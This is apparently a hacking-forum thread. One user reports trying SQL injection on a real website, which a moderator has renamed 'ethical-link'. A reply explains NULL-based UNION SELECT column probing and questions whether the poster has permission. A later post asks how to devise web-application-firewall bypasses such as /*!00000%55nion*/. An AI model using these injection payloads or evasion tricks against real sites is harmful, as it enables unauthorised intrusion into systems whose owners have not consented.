[BlueCat]

I was trying to Inject this site. I found that it was...

Code:

order by 7--

So, I done this after

Code:

union select 1,2,3,4,5,6--

I got an error saying the following....

Code:

The used SELECT statement have different number of colums

Not entirely sure what is happening. But try it yourself.

Code:

http://www.ethical-link.com/forums.php?id=1%20order%20by%207--

[HomeSen]

Well, generally, you first need to find the correct amount of columns. The easiest way to achieve that is by probing with "NULL" (to get around "column x has wrong type of value" errors) values:

Code:

UNION SELECT NULL-- UNION SELECT NULL,NULL-- UNION SELECT NULL,NULL,NULL-- ...

until the "different number of columns" error disappears.

On a side-note: I'm quite sure that you aren't the owner of that website and neither have permission to audit/attack it, right?

On a second side-note:

I was trying to Inject this site. I found that it was...

Code:

order by 7--

[...]

Doesn't seem right, since it results in another error

[bluedog.tar.gz]

I have replaced the real URL with 'ethical-link' to prevent people from harming the website. Try keeping it ethical here.

[aaka1]

My Post Deleted. What is the cause of delete my post? What i did wrong to put question help here.. I can't make thread so i posted here.I need help only. As i said der are lots of tutorials on WAF Bypassing and i knowsome of them but there is no tutorial on understand the behaviour of WAF.
Experts who post BYPASS WAF TUTORIAL tell there methods only like /*!00000%55nion*/ ewhere %55 is U but dont tell how we know to use that type of methods... Like in group_concat(table_name) which is blocked or which is not blocked by waf I want only that tutorial.If this post again deleted then ok sorry to put such question.
I am hard worker and eager to learn